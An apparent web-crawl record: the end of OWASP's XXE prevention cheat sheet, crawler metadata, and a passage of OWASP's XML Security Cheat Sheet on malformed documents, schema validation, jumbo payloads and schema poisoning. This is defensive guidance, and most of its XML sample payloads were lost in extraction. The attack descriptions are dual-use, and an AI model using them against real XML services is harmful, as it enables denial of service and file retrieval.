versions:\n\n#### Prior to .NET 4.0¶\n\nIn .NET Framework versions prior to 4.0, DTD parsing behavior for `XmlReader` objects like `XmlTextReader` are controlled by the Boolean `ProhibitDtd` property found in the `System.Xml.XmlReaderSettings` and `System.Xml.XmlTextReader` classes.\n\nSet these values to true to disable inline DTDs completely.\n\n```\nXmlTextReader reader = new XmlTextReader(stream); // NEEDED because the default is FALSE!! reader.ProhibitDtd = true; \n```\n\n#### .NET 4.0 - .NET 4.5.2¶\n\n**In .NET Framework version 4.0, DTD parsing behavior has been changed. The `ProhibitDtd` property has been deprecated in favor of the new `DtdProcessing` property.**\n\n**However, they didn't change the default settings so `XmlTextReader` is still vulnerable to XXE by default.**\n\n**Setting `DtdProcessing` to `Prohibit` causes the runtime to throw an exception if a `` element is present in the XML.**\n\nTo set this value yourself, it looks like this:\n\n```\nXmlTextReader reader = new XmlTextReader(stream); // NEEDED because the default is Parse!! reader.DtdProcessing = DtdProcessing.Prohibit; \n```\n\nAlternatively, you can set the `DtdProcessing` property to `Ignore`, which will not throw an exception on encountering a `` element but will simply skip over it and not process it. Finally, you can set `DtdProcessing` to `Parse` if you do want to allow and process inline DTDs.\n\n#### .NET 4.5.2 and later¶\n\nIn .NET Framework versions 4.5.2 and up, `XmlTextReader`'s internal `XmlResolver` is set to null by default, making the `XmlTextReader` ignore DTDs by default. The `XmlTextReader` can become unsafe if you create your own nonnull `XmlResolver` with default or unsafe settings.\n\n### XPathNavigator¶\n\n`System.Xml.XPath.XPathNavigator` is **unsafe** by default in .NET Framework versions prior to 4.5.2.\n\nThis is due to the fact that it implements `IXPathNavigable` objects like `XmlDocument`, which are also unsafe by default in versions prior to 4.5.2.\n\nYou can make `XPathNavigator` safe by giving it a safe parser like `XmlReader` (which is safe by default) in the `XPathDocument`'s constructor.\n\nHere is an example:\n\n```\nXmlReader reader = XmlReader.Create(\"example.xml\"); XPathDocument doc = new XPathDocument(reader); XPathNavigator nav = doc.CreateNavigator(); string xml = nav.InnerXml.ToString(); \n```\n\nFor .NET Framework version ≥4.5.2, XPathNavigator is **safe by default**.\n\n### XslCompiledTransform¶\n\n`System.Xml.Xsl.XslCompiledTransform` (an XML transformer) is safe by default as long as the parser it's given is safe.\n\nIt is safe by default because the default parser of the `Transform()` methods is an `XmlReader`, which is safe by default (per above).\n\n[The source code for this method is here.](https://github.com/microsoft/referencesource/blob/main/System.Xml/System/Xml/Xslt/XslCompiledTransform.cs)\n\nSome of the `Transform()` methods accept an `XmlReader` or `IXPathNavigable` (e.g., `XmlDocument`) as an input, and if you pass in an unsafe XML Parser then the `Transform` will also be unsafe.\n\n## iOS¶\n\n### libxml2¶\n\n**iOS includes the C/C++ libxml2 library described above, so that guidance applies if you are using libxml2 directly.**\n\n**However, the version of libxml2 provided up through iOS6 is prior to version 2.9 of libxml2 (which protects against XXE by default).**\n\n### NSXMLDocument¶\n\n**iOS also provides an `NSXMLDocument` type, which is built on top of libxml2.**\n\n**However, `NSXMLDocument` provides some additional protections against XXE that aren't available in libxml2 directly.**\n\nPer the 'NSXMLDocument External Entity Restriction API' section of this [page](https://developer.apple.com/library/archive/releasenotes/Foundation/RN-Foundation-iOS/Foundation_iOS5.html):\n\n- iOS4 and earlier: All external entities are loaded by default.\n- iOS5 and later: Only entities that don't require network access are loaded. (which is safer)\n\n**However, to completely disable XXE in an `NSXMLDocument` in any version of iOS you simply specify `NSXMLNodeLoadExternalEntitiesNever` when creating the `NSXMLDocument`.**\n\n## PHP¶\n\n**When using the default XML parser (based on libxml2), PHP 8.0 and newer [prevent XXE by default](https://www.php.net/manual/en/function.libxml-disable-entity-loader.php).**\n\n**For PHP versions prior to 8.0, per [the PHP documentation](https://www.php.net/manual/en/function.libxml-set-external-entity-loader.php), the following should be set when using the default PHP XML parser in order to prevent XXE:**\n\n```\nlibxml_set_external_entity_loader(null); \n```\n\nA description of how to abuse this in PHP is presented in a good [SensePost article](https://sensepost.com/blog/2014/revisting-xxe-and-abusing-protocols/) describing a cool PHP based XXE vulnerability that was fixed in Facebook.\n\n## Python¶\n\nThe Python 3 official documentation contains a section on [xml vulnerabilities](https://docs.python.org/3/library/xml.html#xml-vulnerabilities). As of the 1st January 2020 Python 2 is no longer supported, however the Python website still contains [some legacy documentation](https://docs.python.org/2/library/xml.html#xml-vulnerabilities).\n\nThe table below shows you which various XML parsing modules in Python 3 are vulnerable to certain XXE attacks.\n\n| Attack Type | sax | etree | minidom | pulldom | xmlrpc |\n| --- | --- | --- | --- | --- | --- |\n| Billion Laughs | Vulnerable | Vulnerable | Vulnerable | Vulnerable | Vulnerable |\n| Quadratic Blowup | Vulnerable | Vulnerable | Vulnerable | Vulnerable | Vulnerable |\n| External Entity Expansion | Safe | Safe | Safe | Safe | Safe |\n| DTD Retrieval | Safe | Safe | Safe | Safe | Safe |\n| Decompression Bomb | Safe | Safe | Safe | Safe | Vulnerable |\n\nTo protect your application from the applicable attacks, the [defusedxml](https://github.com/tiran/defusedxml) package exists to help you sanitize your input and protect your application against DDoS and remote attacks.\n\n## Semgrep Rules¶\n\n[Semgrep](https://semgrep.dev/) is a command-line tool for offline static analysis. Use pre-built or custom rules to enforce code and security standards in your codebase.\n\n### Java¶\n\nBelow are the rules for different XML parsers in Java\n\n#### DocumentBuilderFactory¶\n\nIdentifying XXE vulnerability in the `javax.xml.parsers.DocumentBuilderFactory` library.\nThe official registry rule is [documentbuilderfactory-disallow-doctype-decl-missing](https://semgrep.dev/r/java.lang.security.audit.xxe.documentbuilderfactory-disallow-doctype-decl-missing.documentbuilderfactory-disallow-doctype-decl-missing).\n\n#### SAXParserFactory¶\n\nIdentifying XXE vulnerability in the `javax.xml.parsers.SAXParserFactory` library.\nThe official registry rule is [saxparserfactory-disallow-doctype-decl-missing](https://semgrep.dev/r/java.lang.security.audit.xxe.saxparserfactory-disallow-doctype-decl-missing.saxparserfactory-disallow-doctype-decl-missing).\n\n#### XMLInputFactory¶\n\nIdentifying XXE vulnerability in the `javax.xml.stream.XMLInputFactory` library.\nThe official registry rule is [xmlinputfactory-possible-xxe](https://semgrep.dev/r/java.lang.security.xmlinputfactory-possible-xxe.xmlinputfactory-possible-xxe).\n\n## References¶\n\n- [OWASP Top 10-2017 A4: XML External Entities (XXE)](https://owasp.org/www-project-top-ten/2017/A4_2017-XML_External_Entities_%28XXE%29.html)\n- [Timothy Morgan's 2014 paper: \"XML Schema, DTD, and Entity Attacks\"](https://dl.packetstormsecurity.net/papers/general/XMLDTDEntityAttacks.pdf)\n- [FindSecBugs XXE Detection](https://find-sec-bugs.github.io/bugs.htm#XXE_SAXPARSER)\n- [XXEbugFind Tool](https://github.com/ssexxe/XXEBugFind)\n- [Testing for XML Injection](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/07-Input_Validation_Testing/07-Testing_for_XML_Injection.html)", "znaku_textu": 40342, "slov": 4837, "odkazu": 247, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 01:19:23", "sha256": "d4a840a25b91cf01a1ee31e37b33111e4f375d694fc11ece68485ec57cb4fcd2", "hloubka": 1, "zdroj_objevu": "sitemap", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/CheatSheetSeries", "https://owasp.org/www-project-top-ten/2017/A4_2017-XML_External_Entities_(XXE).html", "https://cwe.mitre.org/data/definitions/611.html", "https://cwe.mitre.org/index.html", "https://owasp.org/www-community/attacks/Server_Side_Request_Forgery", "https://en.wikipedia.org/wiki/XML_external_entity_attack", "https://www.w3schools.com/xml/xml_dtd.asp", "https://en.wikipedia.org/wiki/Billion_laughs_attack", "https://gnome.pages.gitlab.gnome.org/libxml2/html/parser_8h.html", "https://mail.gnome.org/archives/xml/2012-October/msg00045.html", "https://gitlab.gnome.org/GNOME/libxml2/commit/4629ee02ac649c27f9c0cf98ba017c6b5526070f", "https://www.hoyahaxa.com/2022/11/on-coldfusion-xxe-and-other-xml-attacks.html", "https://guides.adobe.com/coldfusion/en/docs/cfml-reference/xmlparse.html", "https://docs.oracle.com/javase/7/docs/api/javax/xml/parsers/DocumentBuilderFactory.html", "https://docs.oracle.com/javase/7/docs/api/org/xml/sax/XMLReader.html", "https://docs.oracle.com/javase/6/docs/api/javax/xml/XMLConstants.html", "https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html", "https://gist.github.com/asudhakar02/45e2e6fd8bcdfb4bc3b2", "https://xerces.apache.org/xerces-j/", "https://xerces.apache.org/xerces-j/features.html", "https://xerces.apache.org/xerces2-j/", "https://xerces.apache.org/xerces2-j/features.html", "http://www.cvedetails.com/cve/CVE-2014-6517/", "https://en.wikipedia.org/wiki/StAX", "http://docs.oracle.com/javase/7/docs/api/javax/xml/stream/XMLInputFactory.html", "https://docs.oracle.com/en/database/oracle/oracle-database/18/adxdk/security-considerations-oracle-xml-developers-kit.html", "https://wiki.sei.cmu.edu/confluence/display/java/IDS17-J.+Prevent+XML+External+Entity+Attacks", "https://docs.oracle.com/javase/8/docs/api/java/beans/XMLDecoder.html", "http://stackoverflow.com/questions/14307442/is-it-safe-to-use-xmldecoder-to-read-document-files", "https://pivotal.io/security/cve-2013-4152", "https://pivotal.io/security/cve-2013-7315", "https://castor-data-binding.github.io/castor/reference-guide/reference/xml/xml-properties.html", "https://github.com/deanf1/dotnet-security-unit-tests", "https://github.com/BounceSecurity/BillionLaughsTester", "https://www.jardinesoftware.net/2016/05/26/xxe-and-net/", "https://learn.microsoft.com/en-us/archive/msdn-magazine/2009/november/xml-denial-of-service-attacks-and-defenses", "https://learn.microsoft.com/en-us/dotnet/standard/linq/linq-xml-security", "https://github.com/microsoft/referencesource/blob/main/System.Xml.Linq/System/Xml/Linq/XLinq.cs", "https://github.com/microsoft/referencesource/blob/main/System.Xml/System/Xml/Xslt/XslCompiledTransform.cs", "https://developer.apple.com/library/archive/releasenotes/Foundation/RN-Foundation-iOS/Foundation_iOS5.html", "https://www.php.net/manual/en/function.libxml-disable-entity-loader.php", "https://www.php.net/manual/en/function.libxml-set-external-entity-loader.php", "https://sensepost.com/blog/2014/revisting-xxe-and-abusing-protocols/", "https://docs.python.org/3/library/xml.html", "https://docs.python.org/2/library/xml.html", "https://github.com/tiran/defusedxml", "https://semgrep.dev/", "https://semgrep.dev/r/java.lang.security.audit.xxe.documentbuilderfactory-disallow-doctype-decl-missing.documentbuilderfactory-disallow-doctype-decl-missing", "https://semgrep.dev/r/java.lang.security.audit.xxe.saxparserfactory-disallow-doctype-decl-missing.saxparserfactory-disallow-doctype-decl-missing", "https://semgrep.dev/r/java.lang.security.xmlinputfactory-possible-xxe.xmlinputfactory-possible-xxe", "https://dl.packetstormsecurity.net/papers/general/XMLDTDEntityAttacks.pdf", "https://find-sec-bugs.github.io/bugs.htm", "https://github.com/ssexxe/XXEBugFind", "https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/07-Input_Validation_Testing/07-Testing_for_XML_Injection.html", "https://creativecommons.org/licenses/by-sa/4.0/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://cheatsheetseries.owasp.org/cheatsheets/XML_Security_Cheat_Sheet.html", "titulek": "XML Security - OWASP Cheat Sheet Series", "h1": "XML Security Cheat Sheet¶", "popis": "Website with the collection of all the cheat sheets of the project.", "klicova_slova": "", "kanonicka": "https://cheatsheetseries.owasp.org/cheatsheets/XML_Security_Cheat_Sheet.html", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "XML Security Cheat Sheet¶"}, {"uroven": 2, "text": "Introduction¶"}, {"uroven": 2, "text": "Dealing with malformed XML documents¶"}, {"uroven": 3, "text": "Definition of a malformed XML document¶"}, {"uroven": 3, "text": "Handling malformed XML documents¶"}, {"uroven": 4, "text": "Malformed XML documents require extra time¶"}, {"uroven": 3, "text": "Applications Processing Malformed Data¶"}, {"uroven": 4, "text": "Malformed Document to Malformed Document¶"}, {"uroven": 4, "text": "Well-Formed Document to Well-Formed Document Normalized¶"}, {"uroven": 3, "text": "Handling coercive parsing¶"}, {"uroven": 2, "text": "Violation of XML Specification Rules¶"}, {"uroven": 2, "text": "Dealing with invalid XML documents¶"}, {"uroven": 3, "text": "Document without Schema¶"}, {"uroven": 3, "text": "Unrestrictive Schema¶"}, {"uroven": 3, "text": "Improper Data Validation¶"}, {"uroven": 4, "text": "String Data Types¶"}, {"uroven": 4, "text": "Numeric Data Types¶"}, {"uroven": 5, "text": "Negative and Positive Restrictions¶"}, {"uroven": 5, "text": "Divide by Zero¶"}, {"uroven": 5, "text": "Special Values: Infinity and Not a Number (NaN)¶"}, {"uroven": 4, "text": "General Data Restrictions¶"}, {"uroven": 5, "text": "Prefixed Values¶"}, {"uroven": 5, "text": "Ranges¶"}, {"uroven": 5, "text": "Patterns¶"}, {"uroven": 5, "text": "Assertions¶"}, {"uroven": 5, "text": "Occurrences¶"}, {"uroven": 3, "text": "Jumbo Payloads¶"}, {"uroven": 4, "text": "Traditional Jumbo Payloads¶"}, {"uroven": 4, "text": "\"Small\" Jumbo Payloads¶"}, {"uroven": 3, "text": "Schema Poisoning¶"}, {"uroven": 4, "text": "Local Schema Poisoning¶"}, {"uroven": 5, "text": "Embedded Schema¶"}, {"uroven": 5, "text": "Incorrect Permissions¶"}, {"uroven": 4, "text": "Remote Schema Poisoning¶"}, {"uroven": 5, "text": "Man-in-the-Middle (MitM) Attack¶"}, {"uroven": 5, "text": "DNS-Cache Poisoning¶"}, {"uroven": 5, "text": "Evil Employee Attack¶"}, {"uroven": 3, "text": "XML Entity Expansion¶"}, {"uroven": 4, "text": "Sample Vulnerable Java Implementations¶"}, {"uroven": 5, "text": "XXE using DOM¶"}, {"uroven": 5, "text": "XXE using DOM4J¶"}, {"uroven": 5, "text": "XXE using SAX¶"}, {"uroven": 5, "text": "XXE using StAX¶"}, {"uroven": 4, "text": "Recursive Entity Reference¶"}, {"uroven": 4, "text": "Quadratic Blowup¶"}, {"uroven": 4, "text": "Billion Laughs¶"}, {"uroven": 4, "text": "Reflected File Retrieval¶"}, {"uroven": 4, "text": "Server Side Request Forgery¶"}, {"uroven": 5, "text": "External DNS Resolution¶"}, {"uroven": 5, "text": "External Connection¶"}, {"uroven": 5, "text": "File Retrieval with Parameter Entities¶"}, {"uroven": 5, "text": "Port Scanning¶"}, {"uroven": 5, "text": "Brute Forcing¶"}], "markdown": "# XML Security Cheat Sheet¶\n\n## Introduction¶\n\nWhile the specifications for XML and XML schemas provide you with the tools needed to protect XML applications, they also include multiple security flaws. They can be exploited to perform multiple types of attacks, including file retrieval, server side request forgery, port scanning, and brute forcing. This cheat sheet will make you aware of how attackers can exploit the different possibilities in XML used in libraries and software using two possible attack surfaces:\n\n- **Malformed XML Documents** : Exploiting vulnerabilities that occur when applications encounter XML documents that are not well-formed.\n- **Invalid XML Documents** : Exploiting vulnerabilities that occur when documents that do not have the expected structure.\n\n## Dealing with malformed XML documents¶\n\n### Definition of a malformed XML document¶\n\nIf an XML document does not follow the W3C XML specification's definition of a well-formed document, it is considered \"malformed.\" **If an XML document is malformed, the XML parser will detect a fatal error, it should stop execution, the document should not undergo any additional processing, and the application should display an error message.** A malformed document can include one or more of the following problems: a missing ending tag, the order of elements into a nonsensical structure, introducing forbidden characters, and so on.\n\n### Handling malformed XML documents¶\n\n**To deal with malformed documents, developers should use an XML processor that follows W3C specifications and does not take significant additional time to process malformed documents.** In addition, they should only use well-formed documents, validate the contents of each element, and process only valid values within predefined boundaries.\n\n#### Malformed XML documents require extra time¶\n\n**A malformed document may affect the consumption of Central Processing Unit (CPU) resources.** In certain scenarios, the amount of time required to process malformed documents may be greater than that required for well-formed documents. When this happens, an attacker may exploit an asymmetric resource consumption attack to take advantage of the greater processing time to cause a Denial of Service (DoS).\n\n**To analyze the likelihood of this attack, analyze the time taken by a regular XML document vs the time taken by a malformed version of that same document.** Then, consider how an attacker could use this vulnerability in conjunction with an XML flood attack using multiple documents to amplify the effect.\n\n### Applications Processing Malformed Data¶\n\n**Certain XML parsers have the ability to recover malformed documents.** They can be instructed to try their best to return a valid tree with all the content that they can manage to parse, regardless of the document's noncompliance with the specifications. **Since there are no predefined rules for the recovery process, the approach and results from these parsers may not always be the same. Using malformed documents might lead to unexpected issues related to data integrity.**\n\nThe following two scenarios illustrate attack vectors a parser will analyze in recovery mode:\n\n#### Malformed Document to Malformed Document¶\n\nAccording to the XML specification, the string `--` (double-hyphen) must not occur within comments. Using the recovery mode of lxml and PHP, the following document will remain the same after being recovered:\n\n```\n \n```\n\n#### Well-Formed Document to Well-Formed Document Normalized¶\n\nCertain parsers may consider normalizing the contents of your `CDATA` sections. This means that they will update the special characters contained in the `CDATA` section to contain the safe versions of these characters even though is not required:\n\n```\n a=1;]]> \n```\n\nNormalization of a `CDATA` section is not a common rule among parsers. Libxml could transform this document to its canonical version, but although well formed, its contents may be considered malformed depending on the situation:\n\n```\n <script>a=1;</script> \n```\n\n### Handling coercive parsing¶\n\n**One popular coercive attack in XML involves parsing deeply nested XML documents without their corresponding ending tags. The idea is to make the victim use up -and eventually deplete- the machine's resources and cause a denial of service on the target.** Reports of a DoS attack in Firefox 3.67 included the use of 30,000 open XML elements without their corresponding ending tags. Removing the closing tags simplified the attack since it requires only half of the size of a well-formed document to accomplish the same results. The number of tags being processed eventually caused a stack overflow. A simplified version of such a document would look like this:\n\n```\n ...\n \n```\n\n## Violation of XML Specification Rules¶\n\nUnexpected consequences may result from manipulating documents using parsers that do not follow W3C specifications. **It may be possible to achieve crashes and/or code execution when the software does not properly verify how to handle incorrect XML structures. Feeding the software with fuzzed XML documents may expose this behavior.**\n\n## Dealing with invalid XML documents¶\n\n**Attackers may introduce unexpected values in documents to take advantage of an application that does not verify whether the document contains a valid set of values.** Schemas specify restrictions that help identify whether documents are valid, and a valid document is well formed and complies with the restrictions of a schema. More than one schema can be used to validate a document, and these restrictions may appear in multiple files, either using a single schema language or relying on the strengths of the different schema languages.\n\nThe recommendation to avoid these vulnerabilities is that each XML document must have a precisely defined XML Schema (not [DTD](https://www.w3schools.com/xml/xml_dtd_intro.asp)) with every piece of information properly restricted to avoid problems of improper data validation. Use a local copy or a known good repository instead of the schema reference supplied in the XML document. Also, perform an integrity check of the XML schema file being referenced, bearing in mind the possibility that the repository could be compromised. In cases where the XML documents are using remote schemas, configure servers to use only secure, encrypted communications to prevent attackers from eavesdropping on network traffic.\n\n### Document without Schema¶\n\nConsider a bookseller that uses a web service through a web interface to make transactions. The XML document for transactions is composed of two elements: an `id` value related to an item and a certain `price`. The user may only introduce a certain `id` value using the web interface:\n\n```\n 123 10 \n```\n\n**If there is no control on the document's structure, the application could also process different well-formed messages with unintended consequences. The previous document could have contained additional tags to affect the behavior of the underlying application processing its contents**:\n\n```\n 1230 10 \n```\n\nNotice again how the value 123 is supplied as an `id`, but now the document includes additional opening and closing tags. The attacker closed the `id` element and sets a bogus `price` element to the value 0. The final step to keep the structure well-formed is to add one empty `id` element. After this, the application adds the closing tag for `id` and set the `price` to 10. If the application processes only the first values provided for the ID and the value without performing any type of control on the structure, it could benefit the attacker by providing the ability to buy a book without actually paying for it.\n\n### Unrestrictive Schema¶\n\n**Certain schemas do not offer enough restrictions for the type of data that each element can receive.** This is what normally happens when using [DTD](https://www.w3schools.com/xml/xml_dtd_intro.asp); it has a very limited set of possibilities compared to the type of restrictions that can be applied in XML documents. This could expose the application to undesired values within elements or attributes that would be easy to constrain when using other schema languages. In the following example, a person's `age` is validated against an inline [DTD](https://www.w3schools.com/xml/xml_dtd_intro.asp) schema:\n\n```\n \n]>\n John Doe 11111..(1.000.000digits)..11111 \n```\n\nThe previous document contains an inline [DTD](https://www.w3schools.com/xml/xml_dtd_intro.asp) with a root element named `person`. This element contains two elements in a specific order: `name` and then `age`. The element `name` is then defined to contain `PCDATA` as well as the element `age`.\n\nAfter this definition begins the well-formed and valid XML document. The element name contains an irrelevant value but the `age` element contains one million digits. Since there are no restrictions on the maximum size for the `age` element, this one-million-digit string could be sent to the server for this element.\n\nTypically this type of element should be restricted to contain no more than a certain amount of characters and constrained to a certain set of characters (for example, digits from 0 to 9, the + sign and the - sign). If not properly restricted, applications may handle potentially invalid values contained in documents.\n\nSince it is not possible to indicate specific restrictions (a maximum length for the element `name` or a valid range for the element `age`), this type of schema increases the risk of affecting the integrity and availability of resources.\n\n### Improper Data Validation¶\n\n**When schemas are insecurely defined and do not provide strict rules, they may expose the application to diverse situations. The result of this could be the disclosure of internal errors or documents that hit the application's functionality with unexpected values.**\n\n#### String Data Types¶\n\nProvided you need to use a hexadecimal value, there is no point in defining this value as a string that will later be restricted to the specific 16 hexadecimal characters. To exemplify this scenario, when using XML encryption some values must be encoded using base64 . This is the schema definition of how these values should look:\n\n```\n \n```\n\nThe previous schema defines the element `CipherValue` as a base64 data type. As an example, the IBM WebSphere DataPower SOA Appliance allowed any type of characters within this element after a valid base64 value, and will consider it valid.\n\nThe first portion of this data is properly checked as a base64 value, but the remaining characters could be anything else (including other sub-elements of the `CipherData` element). Restrictions are partially set for the element, which means that the information is probably tested using an application instead of the proposed sample schema.\n\n#### Numeric Data Types¶\n\n**Defining the correct data type for numbers can be more complex since there are more options than there are for strings.**\n\n##### Negative and Positive Restrictions¶\n\nXML Schema numeric data types can include different ranges of numbers. They can include:\n\n- **negativeInteger** : Only negative numbers\n- **nonNegativeInteger** : Positive numbers and the zero value\n- **positiveInteger** : Only positive numbers\n- **nonPositiveInteger** : Negative numbers and the zero value\n\nThe following sample document defines an `id` for a product, a `price`, and a `quantity` value that is under the control of an attacker:\n\n```\n 1 10 1 \n```\n\n**To avoid repeating old errors, an XML schema may be defined to prevent processing the incorrect structure in cases where an attacker wants to introduce additional elements:**\n\n```\n \n```\n\nLimiting that `quantity` to an integer data type will avoid any unexpected characters. Once the application receives the previous message, it may calculate the final price by doing `price*quantity`. **However, since this data type may allow negative values, it might allow a negative result on the user's account if an attacker provides a negative number. What you probably want to see in here to avoid that logical vulnerability is positiveInteger instead of integer.**\n\n##### Divide by Zero¶\n\n**Whenever using user controlled values as denominators in a division, developers should avoid allowing the number zero. In cases where the value zero is used for division in XSLT, the error `FOAR0001` will occur. Other applications may throw other exceptions and the program may crash.** There are specific data types for XML schemas that specifically avoid using the zero value. For example, in cases where negative values and zero are not considered valid, the schema could specify the data type `positiveInteger` for the element.\n\n```\n \n```\n\nThe element `denominator` is now restricted to positive integers. This means that only values greater than zero will be considered valid. If you see any other type of restriction being used, you may trigger an error if the denominator is zero.\n\n##### Special Values: Infinity and Not a Number (NaN)¶\n\nThe data types `float` and `double` contain real numbers and some special values: `-Infinity` or `-INF`, `NaN`, and `+Infinity` or `INF`. These possibilities may be useful to express certain values, but they are sometimes misused. The problem is that they are commonly used to express only real numbers such as prices. This is a common error seen in other programming languages, not solely restricted to these technologies.\n\nNot considering the whole spectrum of possible values for a data type could make underlying applications fail. **If the special values `Infinity` and `NaN` are not required and only real numbers are expected, the data type `decimal` is recommended:**\n\n```\n \n```\n\n**The price value will not trigger any errors when set at Infinity or NaN, because these values will not be valid. An attacker can exploit this issue if those values are allowed.**\n\n#### General Data Restrictions¶\n\nAfter selecting the appropriate data type, developers may apply additional restrictions. Sometimes only a certain subset of values within a data type will be considered valid:\n\n##### Prefixed Values¶\n\n**Certain types of values should only be restricted to specific sets: traffic lights will have only three types of colors, only 12 months are available, and so on. It is possible that the schema has these restrictions in place for each element or attribute. This is the most perfect allow-list scenario for an application: only specific values will be accepted. Such a constraint is called `enumeration` in an XML schema.** The following example restricts the contents of the element month to 12 possible values:\n\n```\n \n```\n\nBy limiting the month element's value to any of the previous values, the application will not be manipulating random strings.\n\n##### Ranges¶\n\nSoftware applications, databases, and programming languages normally store information within specific ranges. **Whenever using an element or an attribute in locations where certain specific sizes matter (to avoid overflows or underflows), it would be logical to check whether the data length is considered valid.** The following schema could constrain a name using a minimum and a maximum length to avoid unusual scenarios:\n\n```\n \n```\n\nIn cases where the possible values are restricted to a certain specific length (let's say 8), this value can be specified as follows to be valid:\n\n```\n \n```\n\n##### Patterns¶\n\nCertain elements or attributes may follow a specific syntax. You can add `pattern` restrictions when using XML schemas. **When you want to ensure that the data complies with a specific pattern, you can create a specific definition for it. Social security numbers (SSN) may serve as a good example; they must use a specific set of characters, a specific length, and a specific `pattern`:**\n\n```\n \n```\n\nOnly numbers between `000-00-0000` and `999-99-9999` will be allowed as values for a SSN.\n\n##### Assertions¶\n\n**Assertion components constrain the existence and values of related elements and attributes on XML schemas. An element or attribute will be considered valid with regard to an assertion only if the test evaluates to true without raising any error. The variable `$value` can be used to reference the contents of the value being analyzed.**\n\nThe *Divide by Zero* section above referenced the potential consequences of using data types containing the zero value for denominators, proposing a data type containing only positive values. An opposite example would consider valid the entire range of numbers except zero. To avoid disclosing potential errors, values could be checked using an `assertion` disallowing the number zero:\n\n```\n \n```\n\nThe assertion guarantees that the `denominator` will not contain the value zero as a valid number and also allows negative numbers to be a valid denominator.\n\n##### Occurrences¶\n\n**The consequences of not defining a maximum number of occurrences could be worse than coping with the consequences of what may happen when receiving extreme numbers of items to be processed.** Two attributes specify minimum and maximum limits: `minOccurs` and `maxOccurs`.\n\nThe default value for both the `minOccurs` and the `maxOccurs` attributes is `1`, but certain elements may require other values. For instance, if a value is optional, it could contain a `minOccurs` of 0, and if there is no limit on the maximum amount, it could contain a `maxOccurs` of `unbounded`, as in the following example:\n\n```\n \n```\n\nThe previous schema includes a root element named `operation`, which can contain an unlimited (`unbounded`) amount of buy elements. This is a common finding, since developers do not normally want to restrict maximum numbers of occurrences. **Applications using limitless occurrences should test what happens when they receive an extremely large amount of elements to be processed. Since computational resources are limited, the consequences should be analyzed and eventually a maximum number ought to be used instead of an `unbounded` value.**\n\n### Jumbo Payloads¶\n\n**Sending an XML document of 1GB requires only a second of server processing and might not be worth consideration as an attack. Instead, an attacker would look for a way to minimize the CPU and traffic used to generate this type of attack, compared to the overall amount of server CPU or traffic used to handle the requests.**\n\n#### Traditional Jumbo Payloads¶\n\n**There are two primary methods to make a document larger than normal:**\n\n**- Depth attack: using a huge number of elements, element names, and/or element values.**\n\n**- Width attack: using a huge number of attributes, attribute names, and/or attribute values.**\n\nIn most cases, the overall result will be a huge document. This is a short example of what this looks like:\n\n```\n ...\n```\n\n#### \"Small\" Jumbo Payloads¶\n\n**The following example is a very small document, but the results of processing this could be similar to those of processing traditional jumbo payloads.** The purpose of such a small payload is that it allows an attacker to send many documents fast enough to make the application consume most or all of the available resources:\n\n```\n \n]>\n&file; \n```\n\n### Schema Poisoning¶\n\n**When an attacker is capable of introducing modifications to a schema, there could be multiple high-risk consequences. In particular, the effect of these consequences will be more dangerous if the schemas are using [DTD](https://www.w3schools.com/xml/xml_dtd_intro.asp) (e.g., file retrieval, denial of service).** An attacker could exploit this type of vulnerability in numerous scenarios, always depending on the location of the schema.\n\n#### Local Schema Poisoning¶\n\n**Local schema poisoning happens when schemas are available in the same host, whether or not the schemas are embedded in the same XML document.**\n\n##### Embedded Schema¶\n\n**The most trivial type of schema poisoning takes place when the schema is defined within the same XML document.** Consider the following, unknowingly vulnerable example provided by the W3C :\n\n```\n \n]>\n Tove Jani Reminder Don't forget me this weekend \n```\n\nAll restrictions on the note element could be removed or altered, allowing the sending of any type of data to the server. Furthermore, if the server is processing external entities, the attacker could use the schema, for example, to read remote files from the server. **This type of schema only serves as a suggestion for sending a document, but it must contain a way to check the embedded schema integrity to be used safely. Attacks through embedded schemas are commonly used to exploit external entity expansions. Embedded XML schemas can also assist in port scans of internal hosts or brute force attacks.**\n\n##### Incorrect Permissions¶\n\n**You can often circumvent the risk of using remotely tampered versions by processing a local schema.**\n\n```\n Tove Jani Reminder Don't forget me this weekend \n```\n\n**However, if the local schema does not contain the correct permissions, an internal attacker could alter the original restrictions.** The following line exemplifies a schema using permissions that allow any user to make modifications:\n\n```\n-rw-rw-rw- 1 user staff 743 Jan 15 12:32 note.dtd\n```\n\nThe permissions set on `name.dtd` allow any user on the system to make modifications. This vulnerability is clearly not related to the structure of an XML or a schema, but since these documents are commonly stored in the filesystem, it is worth mentioning that an attacker could exploit this type of problem.\n\n#### Remote Schema Poisoning¶\n\n**Schemas defined by external organizations are normally referenced remotely. If capable of diverting or accessing the network's traffic, an attacker could cause a victim to fetch a distinct type of content rather than the one originally intended.**\n\n##### Man-in-the-Middle (MitM) Attack¶\n\nWhen documents reference remote schemas using the unencrypted Hypertext Transfer Protocol (HTTP), the communication is performed in plain text and an attacker could easily tamper with traffic. **When XML documents reference remote schemas using an HTTP connection, the connection could be sniffed and modified before reaching the end user:**\n\n```\n Tove Jani Reminder Don't forget me this weekend \n```\n\nThe remote file `note.dtd` could be susceptible to tampering when transmitted using the unencrypted HTTP protocol. One tool available to facilitate this type of attack is mitmproxy .\n\n##### DNS-Cache Poisoning¶\n\nRemote schema poisoning may also be possible even when using encrypted protocols like Hypertext Transfer Protocol Secure (HTTPS). **When software performs reverse Domain Name System (DNS) resolution on an IP address to obtain the hostname, it may not properly ensure that the IP address is truly associated with the hostname.** In this case, the software enables an attacker to redirect content to their own Internet Protocol (IP) addresses.\n\nThe previous example referenced the host `example.com` using an unencrypted protocol.\n\nWhen switching to HTTPS, the location of the remote schema will look like `https://example/note.dtd`. In a normal scenario, the IP of `example.com` resolves to `1.1.1.1`:\n\n```\n$ host example.com\nexample.com has address 1.1.1.1\n```\n\nIf an attacker compromises the DNS being used, the previous hostname could now point to a new, different IP controlled by the attacker `2.2.2.2`:\n\n```\n$ host example.com\nexample.com has address 2.2.2.2\n```\n\nWhen accessing the remote file, the victim may be actually retrieving the 